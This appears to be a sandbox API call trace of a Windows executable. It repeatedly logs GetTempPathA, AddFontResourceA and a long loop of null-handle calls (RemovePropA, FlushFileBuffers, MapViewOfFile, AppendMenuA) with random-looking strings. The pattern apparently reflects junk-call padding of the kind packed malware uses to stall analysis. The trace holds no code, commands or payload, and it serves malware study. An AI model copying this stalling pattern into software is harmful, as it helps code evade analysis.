	[0064.891] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.891] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.893] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.893] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.893] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.896] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.896] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.896] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.898] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.898] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.898] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.900] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.900] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.900] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.903] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.903] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.903] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.905] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.905] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.905] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.908] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.908] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.908] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.910] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.910] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.910] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.912] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.912] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.912] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.914] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.914] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.914] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.916] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.916] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.916] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0065.407] LocalAlloc (uFlags=0x0, uBytes=0x1a843) returned 0xd18ea0
	[0065.410] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.410] FlushFileBuffers (hFile=0x0) returned 0
	[0065.410] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.410] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.411] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.411] FlushFileBuffers (hFile=0x0) returned 0
	[0065.411] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.411] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.411] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.411] FlushFileBuffers (hFile=0x0) returned 0
	[0065.411] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.411] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.411] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.412] FlushFileBuffers (hFile=0x0) returned 0
	[0065.412] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.412] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.412] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.413] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.413] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.413] FlushFileBuffers (hFile=0x0) returned 0
	[0065.413] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.414] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.414] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.414] FlushFileBuffers (hFile=0x0) returned 0
	[0065.414] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.415] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.415] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.415] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.415] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.415] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.415] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.415] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.415] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.416] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.416] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.416] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.416] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.416] FlushFileBuffers (hFile=0x0) returned 0
	[0065.416] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.416] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.416] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.417] FlushFileBuffers (hFile=0x0) returned 0
	[0065.417] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.417] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.417] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.417] FlushFileBuffers (hFile=0x0) returned 0
	[0065.417] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.417] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.417] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.417] FlushFileBuffers (hFile=0x0) returned 0
	[0065.417] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.417] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.417] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.417] FlushFileBuffers (hFile=0x0) returned 0
	[0065.417] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.417] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.418] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.418] FlushFileBuffers (hFile=0x0) returned 0
	[0065.418] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.418] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.418] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.418] FlushFileBuffers (hFile=0x0) returned 0
	[0065.418] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.418] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.418] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.418] FlushFileBuffers (hFile=0x0) returned 0
	[0065.418] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.418] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.418] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.418] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.419] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.419] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.419] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.419] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.419] FlushFileBuffers (hFile=0x0) returned 0
	[0065.419] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.419] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.419] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
	[0065.420] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.420] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.420] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.420] FlushFileBuffers (hFile=0x0) returned 0
